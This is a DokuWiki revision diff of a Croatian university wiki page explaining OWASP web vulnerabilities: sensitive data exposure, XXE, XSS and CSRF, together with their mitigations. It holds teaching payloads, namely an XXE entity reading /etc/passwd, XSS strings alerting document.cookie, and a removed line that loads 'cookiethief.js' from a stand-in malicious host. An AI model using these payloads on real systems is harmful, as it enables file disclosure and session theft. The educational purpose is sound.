Dieses Dokuwiki verwendet ein von Anymorphic Webdesign erstelltes Thema.

Razlike

Slijede razlike između dviju inačica stranice.

Poveznica na ovu usporedbu

Starije izmjene na obje strane Starija izmjena
Novija izmjena
Starija izmjena
racfor_wiki:mrezna_forenzika:ranjivosti_web_aplikacija [2020/01/10 00:06]
kfugosic [Nesigurno upravljanje osljetljivim podacima (Sensitive Data Exposure)]
racfor_wiki:mrezna_forenzika:ranjivosti_web_aplikacija [2024/12/05 12:24] (trenutno)
Redak 42: Redak 42:
 - neotpornost na automatizirane napade (npr. credential stuffing)\\ - neotpornost na automatizirane napade (npr. credential stuffing)\\
 - slab ili nepostojeći oporavak lozinke\\ - slab ili nepostojeći oporavak lozinke\\
-- spremanje lozinke u čistom (eng. plain text) obliku ili slabim hashiranjem\\+- spremanje lozinke u čistom (eng. plain text) obliku ili slabim sažimanjem\\
 - nepostojeća višestruka autorizacija (eng. Multi-factor authentication) - nepostojeća višestruka autorizacija (eng. Multi-factor authentication)
  
Redak 55: Redak 55:
 ===== Nesigurno upravljanje osljetljivim podacima (Sensitive Data Exposure) ===== ===== Nesigurno upravljanje osljetljivim podacima (Sensitive Data Exposure) =====
  
-Ova ranjivost odnosi se na osjetljive podatke u prijenosu ili u pohranjenom obliku. Budući da HTTP protokol ne čuva stanje, podaci o sjednici ili korisniku moraju putovati u svakom zahtjevu što može predstavljati sigurnosni rizik. Razne web aplikacije raspolažu raznim osjetljivim podacima, poput lozinki, brojeva kreditnih kartica, zdravstvenim i osobnim podacima ili poslovnim tajnama. Regulativama poput GDPR-a (General Data Protection Regulation) pokušava se prisiliti sve one koji upravljaju osjetljivim podacima da paze na njihovu sigurnost. Za početak, veoma je bitno da osjetljivi podaci ne putuju u nešifriranom obliku protokolima kao što su HTTP, SMTP i FTP. Nadalje, bitno je kako ih pohranjujemo. Osjetljive podatke potrebno je šifrirati i pritom obratiti pozornost da koristimo siguran algoritam šifriranja. Uz to, moramo paziti koji podaci su dostupni kojim korisnicima i onemogućiti da korisnici jednostavnim trikovima, na primjer izmjenom URL adrese ili ubacivanjem malicioznog koda kroz prostore za unos teksta ili datoteka, ili nekim kompliciranijim metodama dođu do podataka koji nisu njima namijenjeni. Također, potrebno je i provjeravati valjanost certifikata korisnika.+Ova ranjivost odnosi se na osjetljive podatke u prijenosu ili u pohranjenom obliku. Budući da HTTP protokol ne čuva stanje, podaci o sjednici ili korisniku moraju putovati u svakom zahtjevu što može predstavljati sigurnosni rizik. 
 + 
 +Razne web aplikacije raspolažu raznim osjetljivim podacima, poput lozinki, brojeva kreditnih kartica, zdravstvenim i osobnim podacima ili poslovnim tajnama. Regulativama poput GDPR-a (General Data Protection Regulation) pokušava se prisiliti sve one koji upravljaju osjetljivim podacima da paze na njihovu sigurnost. 
 + 
 +Za početak, veoma je bitno da osjetljivi podaci ne putuju u nešifriranom obliku protokolima kao što su HTTP, SMTP i FTP. Nadalje, bitno je kako ih pohranjujemo. Osjetljive podatke potrebno je šifrirati i pritom obratiti pozornost da koristimo siguran algoritam šifriranja. Uz to, moramo paziti koji podaci su dostupni kojim korisnicima i onemogućiti da korisnici jednostavnim trikovima, na primjer izmjenom URL adrese ili ubacivanjem malicioznog koda kroz prostore za unos teksta ili datoteka, ili nekim kompliciranijim metodama dođu do podataka koji nisu njima namijenjeni. Također, potrebno je i provjeravati valjanost certifikata korisnika.
  
 Ako web aplikacija svoje podatke nije dobro osigurala, posljedice mogu biti katastrofalne, a mogu biti samo veoma iritantne poput spama na slici 3. U ovom slučaju riječ je o curenju email adrese i lozinke s treće stranice, prvotni napadač je email i lozinku vjerojatno prodao te sada kupac isprobava kupljenu kombinaciju emaila i lozinke na raznim stranicama, u ovom slučaju na Blizzardu. Ako web aplikacija svoje podatke nije dobro osigurala, posljedice mogu biti katastrofalne, a mogu biti samo veoma iritantne poput spama na slici 3. U ovom slučaju riječ je o curenju email adrese i lozinke s treće stranice, prvotni napadač je email i lozinku vjerojatno prodao te sada kupac isprobava kupljenu kombinaciju emaila i lozinke na raznim stranicama, u ovom slučaju na Blizzardu.
Redak 63: Redak 67:
 Slika 3) Spam uzrokovan curenjem podataka Slika 3) Spam uzrokovan curenjem podataka
  
-Preporučuje se da na različitim mjestima koriste različite lozinke, te da se sumnjive stranice izbjegavaju. Stranice poput http://haveibeenpwned.com omogućuju provjeru kompromitiranosti određene email adrese.+Preporučuje se da na različitim mjestima koriste različite lozinke (upravo radi toga napad na prethodnoj slici nije bio uspješan), te da se sumnjive stranice izbjegavaju. Stranice poput [[http://haveibeenpwned.com|http://haveibeenpwned.com]] omogućuju provjeru kompromitiranosti određene email adrese.
  
 Od 2017. godine ova se ranjivost nalazi na trećem mjestu OWASP Top 10 ljestvice. Od 2017. godine ova se ranjivost nalazi na trećem mjestu OWASP Top 10 ljestvice.
Redak 70: Redak 74:
 ===== Vanjski XML entiteti (XXE) ===== ===== Vanjski XML entiteti (XXE) =====
  
-**XXE ** (XML External Entity), često nazivan i **XML umetanje** (eng. XML injection), je napad usmjeren na web aplikacije koje obrađuju XML tipove podataka.Napad je najlakše objasniti sljedećim primjerom gdje želimo dodati novi blog unos na nekoj web stranici:+**XXE ** (XML External Entity), često nazivan i **XML umetanje** (eng. XML injection), je napad usmjeren na web aplikacije koje obrađuju XML tipove podataka. Napad je najlakše objasniti sljedećim primjerom gdje želimo dodati novi blog unos na nekoj web stranici:
 <code> <code>
 <?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
Redak 97: Redak 101:
 </code> </code>
  
-Važno je obratiti pozornost na treću liniju u kojoj se definira vanjski entitet (eng. external entity), odnosno u kojoj se sadržaj datoteke /etc/passwd učitava u entitet xxe.Ovaj puta od stranice dobivamo odgovor:+Važno je obratiti pozornost na treću liniju u kojoj se definira vanjski entitet (eng. external entity), odnosno u kojoj se sadržaj datoteke /etc/passwd učitava u entitet xxe. Ovaj puta od stranice dobivamo odgovor:
  
 <code> <code>
Redak 159: Redak 163:
 <code> <code>
 "%3cscript%3e%61lert(document.cookie)%3c/script%3e "%3cscript%3e%61lert(document.cookie)%3c/script%3e
-<a href="http://vulnerable-web.com?q=news<\script%20src=”http://bad-website.com/cookiethief.js”">Unsubscribe</a> 
 <body onload=alert(document.cookie)> <body onload=alert(document.cookie)>
 <b onmouseover=alert(document.cookie)>click me!</b> <b onmouseover=alert(document.cookie)>click me!</b>
Redak 195: Redak 198:
 Ako korisnik na nju klikne, promjenit će svoj password u password123. Sada zamislimo da neka druga stranica nudi opciju slanja novca i kakve bi posljedice donesao ovakav propust u kojem napadač jednostavnim slanjem posebno složene poveznice može nekome ukrasti novac. Ako korisnik na nju klikne, promjenit će svoj password u password123. Sada zamislimo da neka druga stranica nudi opciju slanja novca i kakve bi posljedice donesao ovakav propust u kojem napadač jednostavnim slanjem posebno složene poveznice može nekome ukrasti novac.
  
-Ova ranjivost od 2017. godine više ne spada u OWASP Top 10, a razni okviri poput Spring Security-a imaju uključenu zaštitu protiv istoga u inicijalnim postavkama. Zaštita se sastoji od **CSRF tokena** odnosno jedinstvene, tajne i pseudonasumične vrijednosti koja se web sjedištu predaje unutar HTTP zahtjeva. U kontekstu prethodnog primjera, dovoljno bi bilo dodati još jedno ulazno polje:+Ova ranjivost od 2017. godine više ne spada u OWASP Top 10, a razni okviri poput Spring Security-a imaju uključenu zaštitu protiv istoga u inicijalnim postavkama. Zaštita se sastoji od **CSRF tokena** odnosno jedinstvene, tajne i pseudoslučajne vrijednosti koja se web sjedištu predaje unutar HTTP zahtjeva. U kontekstu prethodnog primjera, dovoljno bi bilo dodati još jedno ulazno polje:
 <code> <code>
 <input type="hidden" name="csrf-token" value="d7H8juiKjdDe3r8Uijhg987aVBN" /> <input type="hidden" name="csrf-token" value="d7H8juiKjdDe3r8Uijhg987aVBN" />
 </code> </code>
  
-Ovo je rješenje je dobro, no i dalje potencijalno ranjivo XSS napadom.OWASP “šalabahter” za prevenciju CSRF ranjivosti dostupan je na sljedećoj [[https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html|poveznici]].+Ovo je rješenje je dobro, no i dalje potencijalno ranjivo XSS napadom. 
 + 
 +OWASP “šalabahter” za prevenciju CSRF ranjivosti dostupan je na sljedećoj [[https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html|poveznici]].
  
  
racfor_wiki/mrezna_forenzika/ranjivosti_web_aplikacija.1578614817.txt.gz · Zadnja izmjena: 2024/12/05 12:23 (vanjsko uređivanje)
Dieses Dokuwiki verwendet ein von Anymorphic Webdesign erstelltes Thema.
CC Attribution-Share Alike 4.0 International
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0